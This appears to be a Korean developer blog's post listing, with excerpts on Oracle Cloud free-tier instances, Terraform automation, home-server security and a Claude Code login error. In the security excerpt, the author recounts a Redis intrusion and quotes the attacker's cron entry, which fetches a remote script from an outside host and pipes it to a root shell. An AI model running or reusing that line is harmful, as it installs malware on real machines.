개발/서버 관리2025. 8. 20. 14:46Terraform으로 Oracle A1.flex 인스턴스 생성 자동화하기

Oracle Cloud의 Compute Instance 중 A1.flex라는 모델을 무료로 평생 사용할 수 있는데 무료치고 스펙이 상당히 좋아서 생성을 시도하다가 에러를 만나게 되었다.API ErrorOut of capacity for shape VM.Standard.A1.Flex in availability domain AD-1. Create the instance in a different availability domain or try again later.If you specified a fault domain, try creating the instance without specifying a fault domain. If that doesn’t work, please try again late..

개발/서버 관리2025. 8. 19. 16:55리눅스 홈 서버 구성 시 최소한의 보안 설정하기

해킹 기록라즈베리파이 서버의 Docker Redis에 접속해서 Key 목록을 조회했더니 backup1, 2, 3, 4라는 이상한 데이터가 조회되는 것을 확인했고, type과 value를 조회하니 2분 간격으로 스크립트를 요청해서 실행하는 문자열이 들어있었다.#keys *backup1backup2backup3backup4#type backup1String#get backup1"\n\n\n*/2 * * * * root cd1 -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh\n\n" GPT와 이야기해본 결과 해킹을 당한 것 같다는 말에 SSH 접속 로그를 확인해보았고, 여러 아이디로 무차별적인 SSH 접속 요청이 발생한것을 확인했다.IP로 위치를 검색해보니 중국이었고, 해..

개발/서버 관리2025. 8. 19. 15:30Oracle Cloud - Always Free (feat. Instance 생성)

Oracle Cloud는 평생 무료로 많은 리소스를 지원하기 때문에 알아두면 개발 비용을 많이 절감할 수 있다. https://www.oracle.com/cloud/free/에서 always free 필터를 체크하면 쉽게 확인할 수 있으며, 아래에 표로 핵심만 정리하였다. 컴퓨팅 인스턴스서비스리소스제한사항비고VM.Standard.A1.Flex4CPU + 24GB 메모리총 4개의 CPU와 24GB 메모리 한도 내에서 유연하게 설정할 수 있다.(1CPU + 6GB로 4개 생성도 가능) ARM CPU로 OS Image를 선택할 때 aarch64를 선택해야함.* 인기가 많아서 생성이 안될 때도 많음VM.Standard.E2.1.Micro1CPU + 1GB 메모리총 2개의 인스턴스 사용 가능AMD CPU로 x86..

개발/Tools & Settings2025. 7. 10. 10:14Claude Code 401 Error

⎿ API Error: 401 {"type":"error","error":{"type":"authentication_error","message":"OAuth token has expired. Please obtain a new token or refresh your existing token."}} 에러가 발생했을 땐 Claude로 콘솔에 진입한 후 logout을 진행한 다음 다시 claude를 실행하면 처음 설치했을 때처럼 세팅하게 되고 다시 로그인 할 수 있다. 새로운 토큰을 발급 받은 후 claude 웹 사이트에서 설정 > claude code > 인증 토큰 관리에서 기존에 있던 토큰을 삭제하면 정상적으로 동작한다.

image